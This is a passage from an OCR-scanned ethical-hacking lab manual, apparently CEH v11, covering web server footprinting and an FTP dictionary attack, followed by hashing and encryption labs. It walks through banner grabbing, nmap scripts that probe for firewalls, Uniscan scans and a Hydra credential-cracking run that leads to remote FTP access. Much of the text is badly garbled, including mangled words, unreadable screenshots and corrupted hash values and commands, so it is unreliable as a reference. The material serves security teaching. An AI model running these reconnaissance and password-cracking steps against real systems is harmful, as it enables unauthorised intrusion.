■ httprecon 7.3 • http://www.certifiedhacker.com:80/

File Configuration Fingerprinting Reporting Help

D X 

Target (Apache 2.0.46)-------------------------t 

j http:// ..:J jwww.certuiedhacker.com I : 80

GET existing I GET long request I GET non-existing I GET wrong protocol I HEAD existing I 0PTI0II ◄ ►

Matchlist (352 Implementations) ] Fingerprint Details I Report Preview I

I Name I H�, I Maleh /41
'- Ap<1che 2.0.46 90 100 
'- Apache 2.0.54 89 98.88 ... 
'- Apache 2.2.8 88 97.77 .. . 
'- Apache 2.2.3 88 97.77 .. . 
'- Apache 2.2.2 87 96.66 .. . 
'- Apache 2.2.6 86 9'i55 .. . 
'- Apache 2.0.52 84 93.33 .. . 

,� V 
u,......, _______________ __. ..... __ ...,. ______ ..J 

h1;urc I .3.2: 'Ilic foot1>rint results of the cmcroo "'cbsitc 
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7. Look at the Get existing tab, and observe the server (Apache) and d1e
server-side application (ASP.NET) used to develop the webpages.

8. \'v'hen attackers obtain this information, they research the vulnerabilities
present in ASP.NET and Apache and try to exploit them, which results in
eitl1er full or partial control over che web application.

9. Click the GET long request rab, which listS all GEf requests. exr, click
tl1e Fingerprint Details cab.

■ httprecon 7.3 - http://www.certifiedhacker.com:80/

File Configuration Fingerprinting Reporting Help

D X 

Target(Apache2.0.46J---------------------� 

I http;// iJ lww,v.cert�iedhacker.com • loo iJ

< > 

Read .. 

Figure: L3.3: 'l11c fingerprint :tnJ CET kmg rcqul---Sl tC':!tuh of the cntcrt"<I wch:-i1<: 

I 0. 111e details displart'CI in d1e screenshot above include the name of d1e 
protocol the website is using and its ,·ersion. 

11. By obt.aining this information, attackers can manipulate I rnP vulnerabilities
in order to perform malicjous activities such as sruffing over the I 1'17'P
channel, which might result in revealing sensiti,·e data such as user credentials.

12. This concludes dle demonstration of how to gacl1er information about the
target web server using httprecon.

13. Close all open windows on the Windows 10 rirtual machine.
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ID Serve 

ID Serve 
fieckground �eNerOuery 

lo\emet·SeWerld�rilificaijon t::ftility, '71,02 
'Piersonal Se.curi_ty f.re,re I# S� Gibson
• C�•(C) 2003 hi> Gb,on fl-ch Corp,.

O&A/tlelp 

t:i'i 
Ente, or copy/ paste an lnlernel se,ver URL or IP ad<i= he<e (example: www.mlaoroflcom): 

\.'., lhttp:/,1-,ww.certifiedhocker.com !

(2'- !._ __ lil_· ue_w_T_he_s_e_rve_r __

Server query processing: 
Vary. Accept·Encoding 
Content·Encod1n9. gzrp 
Content-Length 3228 
Content·Type.1eXVt,tml 
Query complete. 

When..., lnlemet URL or IP has been provided above, 
• l)(ett this b\tlon lo riiate a query of th& ,pecified tetver.

r f'ii',., The server iderltilied itself as:
,4; !Apoche! 

{aoto 10 Se,ve web page 

Note: The result might vary in your lab environment. 

X 

" 

6. After obtaining this information, the attacker may perform a vulnerability
analysis on that particular version of the web server an<l implement
various technit1ucs ro perform cxpk>itation.

7. Click Exit to close the :applicatinn. Close all open windows and l11rn off
the Windows 10 virtual machine.

Footprint a Web Server using Neteat and Telnet

1. Turn on the Pa"ot Security and Windows Server 2019 virtual
machines.

2. In the login page, the attacker u:;ccnamc will be 5clcctcd by default
Eater password as toor in the Password field and press Enter t◊ IC>g in
to the machine.

Nore: 

•

• 

Tf :i Pa"ot Updater pop-up appears :ir rhe wp-righr cnmer of
Desktop, ignore anti dvst: it.

Ir a Question pvp•up wimlow appt:ars a�king )'(Ju to upuatt: the
machine, click No to close the v .. i.ndow.
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11. In the terminal windows, type clear and press Enter co clear the netcat

result in the terminal window. 

.QTASK ,.2 

Footprint usi.,g 
Telnet 

� Tcl.nl.-t• 'foh1cl i.-: a 
dicrc •st.n·cr ncC\'i<Jrk 
:,mn ,c:ol It i� widdy u�:d 
on L1«.: lmcrnt7. c:1r l.1\Ns. 
ltpR>vi<:b thclc:,gin 
S<:'.i:--ioo f,.-,. :L uset \!O d1e 
lnrc:,1i::L ·nu: ..:inilc• 
:cirni.1:aJ ; ·1uacbt_,1 ,,, 
:annthr..r c<rmpurcr 

t.-mukm�s with· l'dnd .. 

e) 'lhc primary �<:curity 
problem� with Tdn<.:t arc
the t<.>U()wi.ng:

• lt docs not encrypt 
any data :;ent
through cl1c
conncctt<>n.

• lrlack:-an
authl'flticat.i<m
sd1t.-i11c.

"J 'elnet helps users 
p,.·rfom1 banner-gi:abblflg 
attacks. It probes I ll1'P 
St- -'"rvei.� to <.k:tcm1lac the 
Server field in cl1e HTTP 
response heack.-r. 

12. Now, ix;rfucrn banner grabbing using tdnct. ln mc u:rrninal window, type.:
telnet www.movlescope.com 80 and press Enter. 

13. Tclner will connect co the domain, as shown in the saccnshoc.

14. Now, type OET I HTTP/1,0 and press Enter Lwicc. Tdm:t will perfom1 die
banner 6>rabbing and 6,ad1er information such as content type, last modified
tlatt:, accept ranges, ETag, am] �e;:rver info011ation.

Pg.129 www.technoglobe.co.in



Pg.130 www.technoglobe.co.in



El' l'hmugh �1is 
tL'Chniyuc, it is possible to 
cbcowr genuine (anti 
c.x1rcmcly dumb) security
imperfections on a site
such ,l� some sires Qike
\'ford Pl'C!\s and
Prcs1>t%op) that mainrai11
acccssibiliry to ciwdopes
that ought 10 be r.r.1SL'tl
once die L1sk has lx>t:n
:;cttk-d. Once you have
idc111iliccl a 1\1lncr.1biliry,
you can discover a fix for
it.

7. This script enumerates and provides you with the output details, as shown
in cl1e screcnshot.

hj!Urt 1.6.3: 1 ITl'P-Enum on 131)\<'C hoi1 r('ulc 
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8. Th n xt st p is o di c >Y r th ho tnam s d1at r h th t rg ted 
domain. 

9. ] n d1e tem1inal window rp nmap -script hostmap-bfk -script-args 
hostmap-bfk.preflx=hostmap- www.goodshopplng.com and pre. s 
Enter. 

I 0. I crform an r rrrP trace< nth t1r ete<l domain. ln th• terminal" indm 
,rpe nmap --seript http-trace -d www.goodshopping.com an<l pr s: 

Enter. 

11. Thjs script , ill de ·ct a vulncrabl sen-er d1ac uses th • 'f \ .F method 
by_ ncling an J ITl'P Tl CE request that show: i d1 method is enabled 
or not. 
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Fi�1re l.6.5: I le)sr Map on 1argc1 hos, n.:suh 

12. Now, check whether \'<lcb Application Firewall is configured on the target
host or domain. 1n the terminal window, type nmap -p80 -script http­

waf-c:letect www.goodshopplng.com and press Enter.

·t 3. This comm.and will scan the host and attempt to determine whether a
web server is being monitored by an JPS, IDS, or \XIAF. 

14. This command will probe the target host with malicious payloads and
detect the changes in the response code.

l·ig_un: 1.6.6: \X'Af.' Dctt.'<lioii ou U[f.tt he)�! r<�u.lt 
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Q T A SK 7 

Start WampServer 
In Windows 
Server 2016 

View Uniscan 
Help Options 

tedi�
d

Giiti��® 
� - S= 2001 

Technoglobe IT Solutions Pvt. Ltd. 
INDIA I CANADA I UAE I UK I SINGAPORE 

I 5. This concludes the demonstration of how to enumerate web server 
information using the map ccipting Engine � E). 

16. Close the terminal windm s on the Parrot Security irrual machine.

I . Turn off the Windows Server 2019 , irrual machine. 

Uniscan Web Server Fingerprinting in Parrot Security 

Note: Ensure that the Parrot Security i.rtual machine is running. 

I. Turn on the Windows Server 2016 irrual machine and log in with d1e
credentials Administrator and pa$$word.

2. Start \1 AMPScrver on d1e Windows Server 2016 irtual maclune.
Double-click the WAMPServer ·horccuc icon on Desktop ro rart the
service.

3. aic unlil the, , ?\0 ) erver icon ntrns green in the notification area, as
shown in the screenshoc.

4. Lea e the Windows Server 2016 ,·irrual machine running and switch to
the Parrot Security virtual machine.

5. ow, on the Parrot Security vinual machine, click the MATE Terminal
icon from the menu bar to launch the terminal.

6. A Parrot Terminal window appears. In d1e terminal window, type sudo su
and pre s Enter to nm the programs as a root u ·er.

7. ln the [sudo] password for attacker field, type toor as a password and 
press Enter.

Note: 1be password that you type \ rill n()t be visible. 

8. ·ow l)pe cd and pre:· Enter to jump to d1e root directory

9. In d1e terminal window, type unlscan -h and hit Enter to di. play the
uniscan help options.

I 0. The help menu appear , as shown in the . creenshoc. First, u. e the -q 
command to search for the directories of d1e , eb server. 
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D Uniscan is :1 vei:s.1cile 
S,L>-rvcr fingerprinting t(X)l 
that not only fl"'fcmns 
simple commMd, �kc 
ping, tracc-roure, ;tnd 
nslookup, but also dncs 
sr.u;ic, dyr1.1mic

1 
and stress 

ch{..-cks on a web �Ct\·ct. 

A pan from scar1niog 
websites, un��n alsn 
perforn,.:; aurcnn:ucd Oing 
ond Google sc,rchcs on 
provick'<l TPs. Uniscon 
mkcs all of this dam onu 
combirie:s them irun :1 
comp1\".ht11Sivc ['(1)0tt file 
fot the US(.'1". 

'1.1ASK 7,3 

Perform 

Directoiy Scan 

hprr 1.7.2: llni1em hc\,c:0J1im.,I 

I 1. ln the terminal window, type unlscan -u http:l/10.10.10.16:8080,CEH • 
q and hit Enter to start scanning for directories. 

12. llcrc, I 0.10.10.16 is thc IP address of the Windows Server 2016 virtual
machine. This m:t}' vary in your lab environment.

'13. Jn the above comm,u1d, the -u switch is used to provide the target UIU ,, 
and the •q switch is used to scan cl11.: directories in cl1c web server. 
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14. niscan starts perfom1in different tests on the ,_ eb erver and
discm ring web directories > a . ho n in the screen shot.

ote: . croll to analp�e the complcr output of th , can. It . hould take 
approximat ly 1 mi.nut s for th ·can ro finish. 

TASK 7.4 

P rform FIie 
Check 

15. ow nm Llniscan u:in r rwo option: together. I kn: -wand -e arc usc<l
together to enable th • file check (robots.b.t and sitcmap.xml file). In th
terminal" indow type unlscan -u http:l/10.10.10.16:8080/CEH -we an<l
hit Enter to 'rat the scan.

1•¼,,un: l.i.5: 'uisc1n uiwkl wi1h •\l'COJ!licll'I 
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16. ruscan :tart th fil ch ck and di. pla: th r ult , a
. er en hot. 

ho\: n 1r1 th 

ot : , croll to analyz th c mplct can r . ul. It. hould tak approximatd_· 
l( r th can to tini h. 

TASK 7 . 5

Perform Dynamic 

Tests 

17. ow, use the dynamic testin 7 option br giving the command -cl. Type 
unlscan -u http:l/10.10.10.16:8080/CEH -cl and hit Enter to srart a 
dynamic scan <:>n the web server.

C-).. . • •  ·, ' 

\ ' , • •  ' .'. \ ,.,, -.,. ' ' •• , ,1 

@P"''0 1 

#1, . ' I •• : j : ' ] ' l • , t" ' 

1-�'U 1.7.7: k.1.m wUSCb1 w'1lh ..J npuon 
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ICON KEY 

icJ V:tlu:tblc 
infor.m:1tic;1i 

./ Tcstyour 
k,,owtcdgc 

4Jj Workbook review 

e'.7 Tools

demonstrated In 

this lab are 

available in 

E:\CEH­

Tools\CEHv11 

Module 13 

Hacking Web 

Servers 

Lab 

Perform a Web Server Attack 

An e:,..perl hacker and pen Lester mt1st i111plemenl various techniques to /111mcb 111eh 
server attmks on the target 111eh semet: 

Lab Scenario 

A ftcr gathering reqwrcd information about d1e target web server, the next task for an 
ethical hacker or pen cescer is co attack the web server in order to test che target 
necwork's web server security infrascrucnire. 111is r<..'CJltires knowledge of how to 
perform web server attacks. 

Attackers perform web server attacks with certain goals in mind. ·n1cse goals may be 
wchnicaJ or non-technical. 1 :or example, attackers may breach the security of the web 
server to steal sensitive information for fmancial 1,>ain, or merely for curiosity's sake. 
'D1e attacker tries all possible techniques to extract me necessary passwords, 
including password guessing, dictionary atmcks, bmte force attacks, hybrid 
attacks, pre-computetl hashes, rule-based attacks, distributed network attacks, 
and rainbow attacks. The attacker needs patience, as some of d1e.se techniques 
arc tedious and time-consuming. The attacker can also use automatc:.-d tools such 
as Brun1s and Tl IC-1 lydra, tO crack web passwords. 

An ethical hacker or pen tester must test the company's web server against 
various attacks and other vulnerabilities. It is important to find various ways to 
extend the secmity test by analyzing web servers and employing multiple testing 
techniques. 1his will help to predict the effectiveness <>f additi<>nal security measures 
for strengthening and protecting web servers of the <>rga11Uation. 

Lab Objectives 

• Crack VIP credentials using a Dictionary Attack 

Lab Environment 

To carry out this lab, you need: 

• Windows IO virmal machine

• Parrot Security virtual m,'\chine

• Web browsers ,,.,,th an Internet connection
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Q TASK 1 

QTASK 1.1 

Copy and Paste 
Wordlists Folder 

� A dictionary or 
won.lli.�1 contains 
thousands of \>1)1'(ls that 
:UC US<.U by p:15-�"-�>nl 
cracking tool� to bn.."!k 
into a pas,·word•pmll'Clcd 
,,·stern. /\n attacker may 
cid1er m:rnuallr crack a 
passw<>rd b)' gucs�ing ,t or 
u� au1omart:d to<il.• and 
tcd,niques ><t1ch as the 
dictionary rTK'lhod. Mo,t
passwt>nl cracking
t<.-dmiqucs arc successful,
tx.uusc of wc:tk or ca�ilr
guessable pa.sswords.

• Administrator privilegt>s to run the tools

Lab Duration 

Time: 10 Minutes 

Overview of Web Server Attack 

Attackers can cause various kinds of damage to an organization by attacking a 
web server, including: 

• 

• 

• 

• 

Compromise of a user account 

Secondarr artacks from the website and website defacement 

Root access to other applications or servers 

Dara tampering and dara theft 

• Damage to the companr's reputation

Lab Tasks 

Crack FTP Credentials using a Dictionary Attack 

I [ere, we will firstly find che open FI'P port using I map, and tl1en perform a 
dictionary attack using the Tl fC l l)'dra tool. 

·1. Turn on the Windows 10 and Parrot Security virtual machines.

2. Tn the login page, the attacker useroamc will be selected by clefau.lt.
Enter password as toor in the Password field and press Enter to log in
co the machine.

Note: I le.re, we ,vill use a sample password 6-1c (Passwords.t>rt) conr.aining a list
of passwords to crack the I TP credentials on the target machine.

3. First, we will corr the Wordllsts folder containing the sample uscrname and
password files (named Passwords.txt and Usernames.txt) from the shared
network drive to the rootJHome directory of the Parrot Security ,·irtual
machine.

4. To do so, open any windows explorer and press Ctrl+L. 'lbe La<:atlon field
appears; type smb://10.10.10.10 and press Enter to access Windows 10 
shared folders.

5. A security pop-up appears; enter the Windows 10 virtual machine crc"Clentials
(Usemame: Adrnin and Password: Pa$Sw0rd) and click Connect.

6. 1he Windows shares on 10.10.10.10 "'indow appear.;. Double-dick the
CEH-Tools folder.
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24. Hydra tries various combinations of usernames and passwords (present
in the Usernames.txt and Passwords.bet files) on the FTP sen7er and
outputs cracked usemames and passwords, as shown in the screenshot

Note: l11is might take some time m complete. 

25. On completion of che password cracking, the cracked credentials

appear, as shown in the screensbot.

26. Try co log in co the FTP server using one of d1c cracked username and
password combinations. Tn this lab, use "lvfarcin's credentials co gain access
co the server.

9TASK 1.4 

Access the FTP 

ServBf' Remotely 

27. Open a new terminal window and jump to me r<X>I dir<.'(..,:cny. Now, L)'JX' ftp
[IP Address ol Windows 1 OJ, an<l pres� Enter.

28. Enter Martin's user credentials (Martin and apple) co check whether y<>U
can succe�sfully log in to the: servt-r.

29. On cntccing the credentials, you will succcssfoll1• I><! able 10 log in co the
scrwr. An ftp terminal appc::ars, 2s shown in the scrt·enshor.

30. Now yo,, can rcmotclr accc;s the Fl"P server hnstcd on the Windows 10
machi.oe.
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31. Type mkdir Hacked and press Enter tO remotely create a directory nan1ed 
Hacked on the Windows 10 virtual machine through the ftp terminal. 

Figure 2.1. IO: <:rc.:::itin� :a directory 

32. Switch co the Windows 10 virtual machine, log in with the credentials
Admln and Pa$$w0rd, and navigate co C:\FTP.

33. View the directory named Hacked, as shown in the scrccnshoc:

a I FTP 

Hollt( SMu View 

,t � □ 
" � M(7'1t.l0 "' X Ochtc • 

t'1n toO.uhk' C>py Pa,tt 

\'l((CU 0 
�Copyto • r-,)Rt.n.1m< 

(lip)O,)rd 

� • 1' I • Thl, PC • loco! Ot>k iC:J • FTP! 

it Quick access 

ca rh;,pc 

JI lD Objoct, 

1!11 Oesklcp 

A 

V 

l ittfl"I �tfectc:d 

Hocked 

llcv, 

fOldCI 

Ucu 

b1 
hopcr1Jt-s 

Open 

V C, 

n E9Stltd all 

u Sdr:<1 nont 

e fR 1n-,tt1 stlecuon 

Stied 

St,Hc.h Fn: 

0 X 

p 

34. You have �ucccssfully gained remote access to the FTP server by
obtaining the appropriate credentials.

35. Switch back co the Parrot Security virtual machine.
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ICON Kev 

� Valusble 
ln for:m.acion 

/ T,::scyour 
knowled.gc 

Q Web exercise 

ffi Workbook review 

iCJ Tools 

demonstrated In 

this lab are 

available in 

E:\CEH­

Tools\CEHv10 

Module20 

Cryptography 

Cryptography 
Cryptograpl!J is the slttt!J and art o

f 

hiding 111eaningf11! information in an rmreadab/,e 
ji>rma!. 

Lab Scenario 

With chc increasing adoption of the Internet for business and personal 
communication, securing sensitive information such as credit-card and personal 
identification numbers (PTNs), bank account numbers, and private messages is 
becoming increasingly important, and yet, more difficult co achieve. Today's 
information-based organizacions extensively use the Internet for e-commerce, 
market research, customer support, and a variety of other activities. Thus, data 
security is critical to online businesses and privacy of communicar.ion. 

Crypcography and cryptographic ("crypto') systems help in securing dat1 from 
interception and compromise during online rransmissions. Cr)"ptography enables 
one co secure transactions, communications, and other processes performed in 
the electronic world, and is additionally used to protect confidential data such as 
email messages, chat sessions, web transactions, personal data, corporate dar.a, e­
commerce applications, etc. 

i\s an ethical hacker or penetration tester, you should suggest co your client 
proper encryption technic1ucs co protect data, both in storage and during 
transmission. ·n1e labs in this module demonstrate the use of encryption to 
protect information systems in organizations. 

Lab Objectives 

The objective of rhe lab is to use encryption to conceal data and pcrform other 
tasks that include, but is not limited to: 

• 

• 

• 

• 

• 

• 

• 

• 

Generate hashes and checksum files

CalcuJatc the encrypted value of the selected file 

Use encrypting/decrypting techniques 

P<··rfnrm fik ann nafa enc-ryprion 

Create self-signed certificates 

Perform email encryption 

Perform disk encryption 

Perform cryptanalrsis 

Lab Environment 

To carry out this lab, you need: 

• Windows IO virtual machine
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1.5 Perform File Encryption using 
✓ 

Advanced Encryption Package 

1.6 Encrypt and Decrypt Data using 
✓ ✓ 

BCfextEncoder 

2 Create a Self-Sif,>ned Certificate ✓ ✓ 

2.1 Cre,1te and Use Self-signed Certificates ✓ ✓ 

3 Perform Email Encryption ✓ ✓ 

3.1 Perform Email Encryption using Rm:ul ✓ ✓ 

4 Perform Disk Encryption ✓ ✓ ✓ 

4.1 Perform Disk Encryption using 
✓ ✓ 

VeraCrypt 

4.2 Perform Disk Encryption using 
✓ ✓ 

BitL-0cker Drive Encryption 

4.3 Perform Disk Encryption using Rohos 
✓ ✓ 

Disk Encryption 

5 
Perform Cryptanalysis using Various 

✓ ✓ 
Cryptanalysis Tools 

5.1 Perform Cryptanalysis using CrypTool ✓ ✓ 

5.2 Perform Cryptanalysis using 
✓ ✓ 

Alpha Peeler 

Remark 

EC·C<>uncil has preparc<l ,1 con.sidcrt'd �mount of lab exL"fciscs for student to pr:actict.· du.ring &he 5-day d:-1!-S 
;u1d at tbcir fct'(' time to enhance their kn(.)wkdgc :ind skill. 

*Core • Lab excn:ise(s) mark<"<I under Core a,e recommended by EC.Council t<.> be prnctised during the 
5.Jay class.

**Sclf-study • Lab cxcrcise(s) markt-d undt'< sdf-study is for students to practise at their free time. Swp,; w
acccs, the :iddition:d lab exercises can be found in the fim IMge of (;El h· 11 ,·olumc I book. 

***iLabs • Lab ext:rcise(s) marked under il.abs are �,xaibblc in our iL .. ,b:,; :solu1ion. iJ .. ,bs is :1 cfoud-ba�c<l 
vi.rtua.l h1b environment preconfigured ,\ith vulnt'rnbilitics, t:..'-ploit� tool� and script!-, and c..-an be acccsst.x-1 
frvm anywhtrc with an I mcrnct curuK'l;UVn, If y11u ate imcn·Hc<l 10 l�'affi mvre awut our iLabi wluti\111, 
please contact your training center or visjt https://ilabs.cccouncil.org. 

Lab Analysis 

Analyze and document the results related to the lab exercise. Give your opinion on 
your target's security posture and exposure. 

PLEASE TALK TO YOUR l NSTRUCTOR IF YOU HAVE QUESTl ONS 
RELATED TO THIS LAB. 
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Lab Duration 

'fonc: 35 Minutes 

Overview of Cryptography Tools 

System admini •lfators use c�·ptogrnphr tools to cnc�·pt system data ,,�cl,in u,cir 
network to prevent attackers from ,mxli�·ing u,c data or misusing it in other ways. 
C�rtogmphy tools can also be used to calcLtlatc or dec�·pt hash functions m rulablc 
in MD4 MDS, SI IJ\. I, SI IJ\-256, etc. 

C�·ptogmphy l(X)ls arc usttl to conrcrt the infonnation prc,-ent in plain text (mtdablc 
format) into cipher text (unreadable fom1at) using a kcr or cnc��tion scheme. 'llw 
converted data arc in cl1c fom1 of a scrambled code umt is encrypted and �cm across 
a private or public network.

Lab Tasks 

� TA s K 1 Calculate One-way Hashes using HashCalc 

Q TASK 1,1

Install & Launch 
HashCalc Tool 

I I ere, we will use tl1e I Iash(alc tool to calculate one-way hashes. 

I. Turn on the Windows 10 rirtual maclunc and log in wicl1 tl1e credentials
Admln and Pa$$w0rd.

2. avigatc to E:\CEH-Tools\CEHv11 Module 20 Cryptography\MDS and MD6
Hash Calculators\JtashCalc lit 1d double dick setup.ext.

Note: lf tl1c User Account Control pop-up appears, click Yes. 

1 Setup • HashCalc window appears, click Next. 
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� Hash functions 
c-1la1lare a UJ1ique fixl-'<1-
$izc bit stcing 
represt.'flrncion, called :1 mess:igc rligesr, of any 
athi1r.uv block of 
l,1.form�1ion. � k.,'5--tgC 
digest (One•\\'1)' I lash) 
fonetions distill rhe 
infom1arion comaincd in a 
file (small nr Luge) iom a single frxcd-lcngrh 
number, l)'f)icallr bc,wecn 
12!\ :ind 256 bi1'>. If any 
given bit of the funcrjcm's 
inp1,_1t is cb:1n1,J1t.xl, cv<..�· 
ou1put bit has n 50'¾, 

ch.1ncc of changing. Given rln ir1put file �md its 
cort<.$ponding m<.-:i;sagc 
digcsr, iL should Ix: nearly 
impossible lO find ;morhcr 
file wirh I he s:1mc message 
digest value, as it i$ 
compun1ti1 ,naUy inf<..'3siblc 
m have rwo tiles ,viLJ1 1hc 
sunc mcss:1gc digc�a 
value. 

I lashCalc 
c-mbk-s you 10 compute 
m,dciplc hashes, 
c:JR.-cksums, and 111'.L \Cs 
for files, 1cxt. and hex 
,1tru1g,., lurupports the 
Secure I lash Algorithm 
famil): ,\H)2. �!04, 
MOS, SIL\ I. SI IA2 
(SI l,\25(,. SI 1,\384, 
SI 1.\512), IUPf1.MDl<�I, 
P1\N1\:IIA 'llCER, 
CR02. ADI F.R.12. and 
me hash U.<t'(I in !he pcCt"• 
l<>•pccr file sharing 
:,pplication�. eOonkL·y and 
eMule. 

Welcome to the HashCalc Setup 
Wizard 

This wil 111stal H�alc 2.02 on your computer. 
It is �mended Iha! you close al other appfications before continuing. 
Oki< Next. to cormue. or Cancel io exit Setup. 

Cancel 

X 

4. 1 :ollow the installation wi%ard co install HashCalc using all default settings.

5. After the completion of the mstallation, Completing the HashCalc Setup 
Wizard appcars. Unchcck d1c View the README file chcckbox and click
Finish. 

Completing the HashCalc Setup 
Wizard 

Setup has fmhed instalno HashCalc on your COffll)IAer. Theapplication may be lalJnc:hed by seledlng the nstaled ,cons 
Cl,ck f'nsh to exit Setup. 
l O ¼ew the REAOME file) 
0 l..aUlc:h HashCac 

Fnsh 
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'12. The calculated hash values of r11e Test.txt tile appears, as shown in the 
screenshot. 

lHl HashCalc 

D.ata F 01mat
!File 3 

r HMAC 

P" MD5 

r MD4 

P° SHA1 

r SHA256 

r SHA384 

r SHA512 

Data: 
jC:\Useis\Admin\Oesktop\ T est.tst 

Key Format Key: 
IT ext siring � I 

-

l29a8bb350e193ac5870dae9b221607 e 7 

I 
I c38801463ad22c 1 a9302843541 f0b907 e 718cl67

I 
I 
l 

P' RIPEMD160 lbb3884eb5ff25be0af94cdcb2fb744c896dc349a 

r PANAMA I 
r TIGER I 
r MD2 I 
r ADLER32 l
P" CRC32 l11c6d239 

r 
eDonkey/ 
eMule l 

�vaS.<Jft I Calculate I Close I Help

X 

I 
_J 

I 

I 

I 

I 

I 

Q TASK 1.3 
13. Minimize:: the HasllCalc window, navig-.itc to Desktop, and double-click the

T est.txt file to open it Modify the file content by weiring wmc tcx t (here,
Modified File ... !!!) and pr�-ss Ctrt+S t<> save it Cl<)se the text file.Modify 

Fila Content 

'] Test.bd-Notepad 

File Ed� Form•! \<iew Help 
Modified l'ile , .. ! ! !II 

□ X 
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Q TASK 1.4 

Compare Hash 
Values of Original 
and Modified File 

Q TASK 2 

Q TASK 2.1 

Install MDS 

Calculator Tool 

l 4. 1 ow, double-click HashCalc shortcut from Desktop to launch another
I IashCalc window. 

15. A new HashCalc window appears, perform Steps �12. 

16. Now, maximize rhe first Hashcalc window and place it beside the second
HashCalc window. You can observe changes in rhe hash values of the text
file (Test.txt) before and after the modification, as shown in rhe screenshor.

l8J H.!!hCol 
Original File 

-

D&F'o-m&: O.t« 

IR• .:::J IC.\U..,,\O.d',n\l)e,k(Op\lc,ll,<I 

r HMAC 

/;, M05 

r MO< 

IN' SHAl 

r SK•256 
r SHA,84 

r St-\0512 

K.e.yfcrmat K-. 
Ir"", • .,, 3 I 

l�l>l50d93o<5870dr.Sb2'!60le7 

I 
(c38S01,slad?2c I a9:;028.l35C 1lC>b907e718cfS7 

I 
I 
I 

f;' AIPEM0160 lbb388<•bS!25b.o.,/9-kd:b21b7UcSS6dc349.> 

rPMIAMA I 
r TIGER I 
r MD2 I 
r ADLER32 I

I/;, CRc:J2 111<£d:m 

r oDo,,koy/ 
tM\lle I 

.::.I 

rBJ Has-hC•k 
Modified File 

- X 

0d.4[�n'.lbt 
jr-., 

0� 
iJ IC::\lh.es$\Ao'nn'°e..-<k.lco\leu.w .d 

r tl>IAC Kt2f«mat r• 
11 ... , • ....,3 -

/;, !<05 lo'.i6<378,...70co15d45:dl17235dc .. 
r MO! I 
"'$HAI llfe<U254716ebo98>.._a5$3132el14�1?7 

r SH.A256 I 
r SHA'.13' I 
r StiA�12 I 

f,,' R1PEMDl60 1St00c2W5178ds00lb6252d>d216o7e7791c857 

r PA!ll>-"• I 
r !JGEA I 
r 1<Q2 I 
r ADLEA32 I 
r,, CAC32 l-7b 

r .or,,;,..,, 
....... I

,� c.iw ... ,�� � C.it,.10,, HO:�: .. JI�

Note: In real-time, the I lashCalc tool is tL5cd to check the i11tegrity of a file where 
the changes in the hash values indicate that the file conrenr has been modified. 

17. 'lhis concludes the clemonsrrnrinn nf calculnring one-way hashes using
I lashCalc.

18. Close all open windows and document all the acyuired information.

Calculate MDS Hashes using MDS Calculator

I !ere, we will use the MOS Calculator tool co calculate �IDS hashes. 

I. In the Windows 10 virrual machine, navigate to E:\CEH-Tool.s\CEHv11

Module 20 Cryptography\MDS and MD6 Hash Calculators\MDS Calculator

and double-click md5calc(1.0.0.0).msi.

2. The MDS Calculator setup window appears; click Next.
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,!;;il. TASK 3 

Q TASK 3.1 

Install 
HashMyflles Tool 

0 I lashMyFi!cs is a 
,m:1.II utilitv thar :1Hows 
tOU fO C3l�ubtc the Jvl05 
111d $1 IA 1 h:,shc..->S of one 
:,r more file� in y(mr 
;y!\tcm: )'OU c:m <..'a."il)r 
:,�,y the MD5/SI IJ\ I 
na.'ih� li:;t into 1J1c. 
:.lipboard, or �ave lhem 
,nl(> tc.,r/html/ xml file. 
I lash!\ lyl'iks Clll als,, be 
;mnched from the t."(>ntc.xt 
:ncnu of \'Qlod<>,v:,; 
I '.xpl()rcr, :,ml can displar 
:he MDS/SI IA I hru;hes 
,f the sckctt-d lilc <>r 
folder. 

The recipient compares tJ1e generated hash value wid1 the hash value that was 
sent through email: ifbod1 tally, it is evident chat they received the file without 
any modifications by a third person and chat the integrity of die file is intact. 

12. This concludes the demonstration of calculating l\ID5 hashes using MD5
Calculator.

13. Close all open windows and document all the acquired informarion.

Calculate MDS Hashes using HashMyFiles 

Here, we will use the HasluviyFiles cool to calculate l\ID5 hashes. 

1. In the Windows 10 virtual machine, navigate to E:\CEH-Tools\CEHv11
Module 20 Cryptography\MDS and MD6 Hash
Calculators\HashMyflles and double-click HashMyFlles.exe.

2. The HashMyFlles main window appears, as shown i.n the scrccnshot.

It llliJ HashMyfilH - D X 

file Edit View Options Help 

� 0 tll01 �@) fb, (' � -n 

Filename , MOS SHAl 

< � > 

·[ile{sl. 

3. In the Ha.shMyFiles window, click Flies from the menu bar. From rhe
drop-down list, click the Add Folder option.

Note: You can also use the Add Flies option to add multiple files. 

['.!j HashMyfiles 

Edit V,,w Options H,lp 

Add Process Files 
Add By Witdmd 
Clear All 

R,mov• S,lrottl Files 

D 

F2 
f3 SHAl 

X 
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4. The Select Folder pop-up appears; click on the ellipsis icon Q to select
the folder you want tO encrypt.

X 

CJ 
0 Add files in subfo!ders

OK-j cancel 

t">f,.irc t,":X $ck.'a fokkr f"ll>-up 

5. The Browse for Folder window appears; navigate co E:ICEH­

Tools\CEHv11 Module 20 Cryptography\MDS and MD6 Hash

Calculators\HashMyFlles and select the Sample Flies folder; d1cn, click
OK.

Note: You can select any folder of your choice chat you wish to encrypt.

l!rowse for Folder X 

Select a folder 

E:\CEH-Tools\CEHv 11 Module 20 Cryptography\MOS and 
U'"'C u-1o. r--�-- .............. -\u ...... s..,A�d....-\(:'..,__..J,... c::.-

CEHv 11 Module 19 Cloud Computing " 
V CEl-iv 11 Module 20 Cryptography 

> Cryptography Tools
V MOS and MD6 Hash Calculators 

HashCalc 
V HashMyfiles 

I Sample Fies l 
MDS Calculator 

System Volume Information "' 
< > 

I OK 11 Cancel

6. The locati(m of the selected folder appears in the field; click OK.

I ' Select Folder X 

I E:\C8Hools¥:8-lv 11 Modl.de 20 CryptographyV,05 aod M06Hash Cala.dators'tlashM)files\Sa� Res! 
� 

OiAdd fife,; In submld.,</ 

l',gun- 1.:;.s: &Im Fc*,lcr JX)f>•Up: Sek'C'tl'll fukk•r's k•c:uirn, 

OK cancel 
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10. ow, the file will be encrypted in the same location, and the old file will
be deleted automatically, as shown in the screenshot.

Note: o one can access this file unless the user provides the password for 
the encrypted file. You will have to share the password with the user th.rough 
message, email, or any other means . 

l!i(CMS 

• I Cryptoforge

Share 

Copy Paste 
0

Clipboard 

Viev,, 

... X· llo· 

O· 
�- aji New 

folder
Organize New 

« Cryptogra... > CryptoForge 

... Downloads ;t " 

eiJ Documents ;t 

[l;:J Pict\Jres ;t

CEH-Tools 

CEHvl 1 Module 

CEHvll Module .., < 

